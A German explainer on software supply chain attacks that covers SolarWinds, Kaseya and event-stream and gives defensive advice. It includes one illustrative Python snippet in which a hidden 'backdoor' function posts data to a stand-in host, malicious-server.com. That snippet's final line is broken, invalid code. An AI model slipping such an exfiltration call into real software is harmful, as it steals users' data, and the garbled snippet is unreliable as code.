Supply Chain Angriff

Ein Supply Chain Angriff ist eine Art von Cyberangriff, der eine Organisation durch das Eindringen in ihre Lieferkette ins Visier nimmt. Anstatt die Organisation direkt anzugreifen, kompromittieren Angreifer einen vertrauenswürdigen Anbieter, Partner oder eine Softwarekomponente, auf die die Organisation angewiesen ist. Dies ermöglicht es dem Angreifer, indirekt die Abwehrmechanismen des Zielunternehmens zu überwinden und Zugriff auf sensible Daten oder Systeme zu erlangen.

Supply Chain Angriffe nutzen das inhärente Vertrauen zwischen einer Organisation und ihren Drittanbietern aus. Unternehmen teilen oft Daten, integrieren Systeme oder installieren Software von ihren Anbietern, ohne diese derselben Sicherheitsüberprüfung wie ihre eigenen Ressourcen zu unterziehen. Angreifer nutzen diese vertrauensvollen Beziehungen aus, um Malware oder Hintertüren in die Umgebung des Unternehmens einzuschleusen.

Das komplexe Geflecht der Software-Lieferkette

Die moderne Softwareentwicklung beruht auf einem komplexen Netz von Abhängigkeiten und Drittanbieterkomponenten. Eine typische Unternehmensanwendung kann Code aus Dutzenden von Open-Source-Bibliotheken, Frameworks und Werkzeugen enthalten. Die Anwendung kann auch mit verschiedenen Cloud-Diensten, APIs und Datenfeeds integriert sein. Jede dieser Komponenten und Partner stellt ein potenzielles schwaches Glied dar, das ein Angreifer kompromittieren könnte.

Die Software-Lieferkette geht über reine Code-Abhängigkeiten hinaus. Sie umfasst auch die Menschen, Prozesse und Systeme, die an der Entwicklung, dem Bau und der Bereitstellung von Software beteiligt sind. Zum Beispiel könnten Angreifer die DevOps-Pipeline eines Unternehmens ins Visier nehmen, Codesignaturzertifikate stehlen oder Malware in den Build-Prozess injizieren. Sie könnten auch Entwickler phishen oder Schwächen in Entwicklungstools ausnutzen, um Hintertüren im Quellcode zu platzieren.

Diese komplexe Angriffsfläche macht es schwierig, Supply Chain Angriffe zu erkennen und zu verhindern. Traditionelle Sicherheitskontrollen wie Firewalls und Antivirenprogramme konzentrieren sich auf den Schutz des Perimeters, aber Supply Chain Angriffe schleichen sich durch vertrauenswürdige Kanäle ein. Organisationen haben oft nur begrenzte Einblicke in die Sicherheitslage ihrer Lieferanten, was es schwierig macht, Risiken zu identifizieren und zu mindern.

Beispiele für hochkarätige Supply Chain Angriffe

Eine einfache Code-Darstellung eines Supply-Chain-Angriffs könnte so aussehen:

import requests
def backdoor():
    data = {"info": "sensible Daten"}
    requests.post("http://malicious-server.com/steal", data=data)
def greet():
    backdoor()
function print("Hallo, Welt!")

Hier ist eine Visualisierung des Codes:

Ein Entwickler würde diesen Code ausführen, ohne sich des bösartigen Segments bewusst zu sein, das Daten stiehlt. Mit der Verteilung des Produkts steigt die Menge der gestohlenen Daten exponentiell an.

Mehrere hochkarätige Vorfälle in den letzten Jahren haben die verheerenden Auswirkungen von Supply Chain Angriffen demonstriert. Im Jahr 2020 kompromittierte der SolarWinds-Angriff den Software-Build-Prozess der beliebten IT-Management-Plattform. Angreifer pflanzten eine Hintertür in den SolarWinds-Code ein, der dann im Rahmen eines Routine-Softwareupdates an Tausende von Kunden verteilt wurde. Dies ermöglichte es den Angreifern, mehrere US-Bundesbehörden und Fortune-500-Unternehmen zu kompromittieren.

Der Kaseya-Angriff im Jahr 2021 folgte einem ähnlichen Muster. Angreifer nutzten eine Schwachstelle in Kaseyas Remote-Management-Software aus, die von vielen IT-Dienstleistern genutzt wird. Durch die Kompromittierung von Kaseya konnten die Angreifer Ransomware an Hunderte von Kunden der Dienstleister weiter leiten. Dieser einzelne Angriff störte den Betrieb von über 1.000 Unternehmen weltweit.

Open-Source-Software ist ein weiteres häufiges Ziel von Supply Chain Angriffen. Im Jahr 2018 kompromittierten Angreifer das event-stream-Paket im NPM-Repository, das von Millionen von JavaScript-Projekten verwendet wird. Der Angreifer erlangte die Kontrolle über das Paket vom ursprünglichen Betreuer und veröffentlichte ein bösartiges Update mit einer Hintertür. Dies infizierte jede Anwendung, die die neue Version des Pakets einbezog.

Diese Beispiele verdeutlichen, wie eine einzige Kompromittierung in der Lieferkette eine weitreichende Kettenreaktion verursachen kann. Angreifer können die Verteilungsnetze vertrauenswürdiger Softwareanbieter nutzen, um ihre Auswirkungen schnell zu skalieren. Der Explosionsradius eines Supply Chain Angriffs kann viel größer sein als der eines traditionellen gezielten Angriffs.

Verteidigung gegen Supply Chain Angriffe

Die Verhinderung von Supply Chain Angriffen erfordert einen multifunktionalen Ansatz, der Risiken über den gesamten Softwarelebenszyklus hinweg adressiert. Organisationen sollten damit beginnen, ihre Lieferkette zu kartographieren und alle Drittkomponenten, Dienste und Partner zu identifizieren, auf die sie sich verlassen. Diese Bestandsaufnahme sollte sowohl direkte Lieferanten als auch indirekte Abhängigkeiten umfassen, wie zum Beispiel die von einem Anbieter verwendeten Open-Source-Bibliotheken.

Als Nächstes sollten Sicherheitsanforderungen und Bewertungsverfahren für alle Lieferanten festgelegt werden. Verlangen Sie von den Anbietern, dass sie die Einhaltung relevanter Standards wie ISO 27001, SOC 2 oder NIST SP 800-53 nachweisen. Führen Sie regelmäßige Audits und Penetrationstests durch, um deren Sicherheitskontrollen zu validieren. Schließen Sie Sicherheitsverpflichtungen in Verträgen ein, die eine Haftung bei Verstößen sowie Anforderungen an eine sofortige Benachrichtigung und Zusammenarbeit im Falle von Zwischenfällen festlegen.

Implementieren Sie starke Zugriffskontrollen und eine Segmentierung zwischen Systemen, die Lieferantendaten oder -code verarbeiten. Nutzen Sie das Prinzip der minimalen Rechtevergabe, indem Sie Lieferanten nur die minimal erforderlichen Berechtigungen zur Erfüllung ihrer Funktion gewähren. Überwachen Sie die Aktivitäten der Lieferanten auf anormales Verhalten, wie zum Beispiel unautorisierte Zugriffsversuche oder verdächtige Datenübertragungen. Seien Sie bereit, den Zugriff eines Lieferanten bei einem Verstoß schnell abzuschalten.

Sichere Entwicklungspraktiken sind entscheidend, um Risiken in der Software-Lieferkette zu mindern. Implementieren Sie Code-Signing, um die Integrität von Software-Releases zu gewährleisten. Verwenden Sie automatisierte Werkzeuge, um Schwachstellen und bösartigen Code in Drittkomponenten zu scannen. Halten Sie alle Systeme regelmäßig auf dem neuesten Stand und patchen Sie zuerst diejenigen, die mit dem Internet verbunden sind oder sensible Daten verarbeiten.

Schließlich sollten Sie einen speziellen Incident-Response-Plan für Supply Chain Angriffe haben. Definieren Sie klare Rollen und Verantwortlichkeiten für die Untersuchung und Eindämmung eines Vorfalls, der von einem Lieferanten ausgeht. Führen Sie Tischübungen durch, um den Plan zu testen und Lücken zu identifizieren. Bauen Sie Beziehungen zu wichtigen Lieferanten auf, bevor ein Vorfall eintritt, damit Kommunikationskanäle bereits bestehen.

Fazit

Da Supply Chain Angriffe weiterhin Schlagzeilen machen, nehmen Regulierungsbehörden und Industriegremien dies zur Kenntnis. Die US Executive Order on Improving the Nation’s Cybersecurity enthält mehrere Bestimmungen, die sich auf die Sicherung der Software-Lieferkette konzentrieren. Sie weist Bundesbehörden an, Basis-Sicherheitsstandards für Softwareanbieter festzulegen und verlangt von den Herausgebern, eine “Softwarestückliste” vorzulegen, die alle Komponenten auflistet.

Industrieinitiativen wie die Open Source Security Foundation (OpenSSF) arbeiten daran, die Sicherheit von Open-Source-Software zu verbessern. Die OpenSSF entwickelt Best Practices, Werkzeuge und Schulungen, um Entwicklern zu helfen, Schwachstellen in Projekten zu identifizieren und zu beheben. Sie betreibt auch ein Bug-Bounty-Programm, um Forscher dazu zu motivieren, Fehler zu finden und zu melden.

Mit dem Fortschreiten dieser Bemühungen werden Organisationen mehr Richtlinien und Ressourcen zur Verfügung haben, um Lieferkettenrisiken zu bewältigen. Die Komplexität moderner Software bedeutet jedoch, dass Supply Chain Angriffe wahrscheinlich eine persistente Bedrohung bleiben werden. Organisationen müssen wachsam bleiben und ihre Abwehrmaßnahmen ständig bewerten und anpassen, um mit den sich entwickelnden Taktiken der Angreifer Schritt zu halten.

Der Schlüssel zur Resilienz besteht darin, Kompromisse vorauszusetzen und Sicherheitsschichten über die gesamte Lieferkette hinweg aufzubauen. Durch die frühzeitige Identifizierung von Risiken, die Implementierung starker Kontrollen und die Vorbereitung auf Zwischenfälle können Organisationen die Auswirkungen von Supply Chain Angriffen minimieren. Zusammenarbeit und Informationsaustausch zwischen Lieferanten, Kunden und Branchenkollegen sind ebenfalls unerlässlich, um diese Bedrohungen schnell zu erkennen und darauf zu reagieren. Mit einem proaktiven, ganzheitlichen Ansatz zur Sicherung der Lieferkette können Organisationen weiterhin die Vorteile einer global vernetzten Wirtschaft nutzen und gleichzeitig die Risiken managen.